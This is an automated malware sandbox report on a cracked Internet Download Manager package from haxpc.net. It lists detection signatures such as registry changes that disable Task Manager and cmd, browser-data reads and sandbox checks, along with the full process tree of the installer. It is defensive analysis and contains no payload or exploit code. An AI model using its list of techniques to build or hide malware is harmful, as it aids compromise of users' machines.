Analysis
- user interaction
yes - max time kernel
420s - max time network
420s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
23/07/2026, 07:12
General
- Target https://haxpc.net/
- Sample260723-h1t2datbrd
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 21 IoCs
Network request originating from process or tool commonly abused by malware.
- Blocks application from running via registry modification 1 IoCs
Adds application to list of disallowed applications.
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell and hide display window.
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Disables cmd.exe use via registry modification 1 IoCs
- Drops file in Drivers directory 4 IoCs
- A potential corporate email address has been identified in the URL: [email protected]
- Checks computer location settings 2 TTPs 10 IoCs
Looks up country code configured in the registry, likely geofence.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 34 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 5 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Installs/modifies Browser Helper Object 2 TTPs 8 IoCs
BHOs are DLL modules which act as plugins for Internet Explorer.
- Drops file in System32 directory 16 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 17 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 20 IoCs
- Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 41 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 6 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 26 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 42 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 18 IoCs
- Modifies Internet Explorer settings 1 TTPs 64 IoCs
- Modifies data under HKEY_USERS 47 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 8 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 3 IoCs
- Suspicious behavior: LoadsDriver 24 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 37 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 37 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://haxpc.net/1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffd8fc9c728,0x7ffd8fc9c734,0x7ffd8fc9c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1792,i,16923235693340283599,10519442351612782732,262144 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=1996 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1664,i,818525206937189349,17581440926275458733,524288 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2288 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,6329989113531592286,2294659536874102772,524288 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2576 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3216,i,13036512526627098278,15827674901144222976,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3236 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,1177895084493278241,16146474869349155731,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3272 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4420,i,7741645095397544552,8571649576966814738,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=1784 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,18327069291856988007,3740541363837938330,524288 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=4932 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5460,i,17031428388329702412,15371031439091478159,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5688 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5728,i,2828995095413511366,16915869302703704420,524288 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5904 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5908,i,12819176948401246798,3176538521138164008,524288 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5932 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5916,i,16696801400931527375,7565048563182441571,524288 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5852 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=3948,i,13861521813358264133,14502882058589844259,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3200 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5956,i,6788799811147929670,10156355745483348299,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=4500 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6136,i,9946678820339241524,7529033854416954406,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=6132 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5828,i,12938375329920107728,11811097655633955143,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5460 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6264,i,4024923667286931670,6248974131086216698,2097152 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=6216 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4884,i,4213290269176075818,9896971988362177289,524288 --field-trial-handle=2008,i,521118059543342355,16636589745121374494,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=840 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 7\" -spe -an -ai#7zMap14205:138:7zEvent161071⤵
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 7\IDM_6.4x_Crack_v20.6\" -spe -an -ai#7zMap27001:180:7zEvent94851⤵
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 7\idman643build7.exe"C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 7\idman643build7.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp"C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"2⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Installs/modifies Browser Helper Object
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"4⤵
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\Internet Download Manager\idmBroker.exe"C:\Program Files (x86)\Internet Download Manager\idmBroker.exe" -RegServer3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe" /rtr3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"4⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"5⤵
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"4⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"5⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"5⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"5⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html4⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html5⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2040 -prefsLen 27100 -prefMapHandle 2044 -prefMapSize 270279 -ipcHandle 2112 -initialChannelId {06edfb51-835e-4509-bba4-31daf9cee9aa} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2516 -prefsLen 27136 -prefMapHandle 2520 -prefMapSize 270279 -ipcHandle 2536 -initialChannelId {9782fc0f-ab7f-495e-9f4d-ac9e0fa24c1e} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3744 -prefsLen 25164 -prefMapHandle 3748 -prefMapSize 270279 -jsInitHandle 3752 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3760 -initialChannelId {9b44c888-56f8-4d77-bbba-096f94528715} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3908 -prefsLen 27277 -prefMapHandle 3912 -prefMapSize 270279 -ipcHandle 4000 -initialChannelId {7b5dc599-8b9a-4e27-b1d6-684e49edb289} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4344 -prefsLen 34776 -prefMapHandle 4348 -prefMapSize 270279 -jsInitHandle 4352 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3180 -initialChannelId {8f1babb4-4f7b-49bb-8e8b-3b96d6d63bc9} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5012 -prefsLen 35013 -prefMapHandle 5016 -prefMapSize 270279 -jsInitHandle 5020 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4992 -initialChannelId {d8713e6f-1e48-47f6-b32b-2f1d229aeac4} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3384 -prefsLen 35013 -prefMapHandle 3388 -prefMapSize 270279 -ipcHandle 4624 -initialChannelId {3ab6e3e3-29c0-45b8-b024-42e03d49c6e5} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 utility6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5436 -prefsLen 32952 -prefMapHandle 5440 -prefMapSize 270279 -jsInitHandle 5444 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5452 -initialChannelId {17c0384f-c48e-4216-a87c-72818dd0f34f} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5632 -prefsLen 32952 -prefMapHandle 5636 -prefMapSize 270279 -jsInitHandle 5640 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5648 -initialChannelId {f18a57bb-2b81-4642-ac16-32447897ae0a} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5820 -prefsLen 32952 -prefMapHandle 5824 -prefMapSize 270279 -jsInitHandle 5828 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5836 -initialChannelId {d33ccca2-04a3-4b6c-9c7a-fe5995522a55} -parentPid 5836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab6⤵
- Checks processor information in registry
-
-
-
-
C:\Program Files (x86)\Internet Download Manager\Uninstall.exe"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\RUNDLL32.EXE"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf5⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r6⤵
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o7⤵
-
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"6⤵
- Loads dropped DLL
-
-
-
-
C:\Program Files (x86)\Internet Download Manager\MediumILStart.exe"C:\Program Files (x86)\Internet Download Manager\MediumILStart.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{19bdb692-da30-9c46-be74-04bbd24f7a1f}\idmwfp.inf" "9" "4fc2928b3" "0000000000000170" "WinSta0\Default" "00000000000001D0" "208" "C:\Program Files (x86)\Internet Download Manager"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\idmwfp.inf_amd64_be5722ccff6c2371\idmwfp.inf" "0" "4fc2928b3" "00000000000001EC" "WinSta0\Default"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
-
-
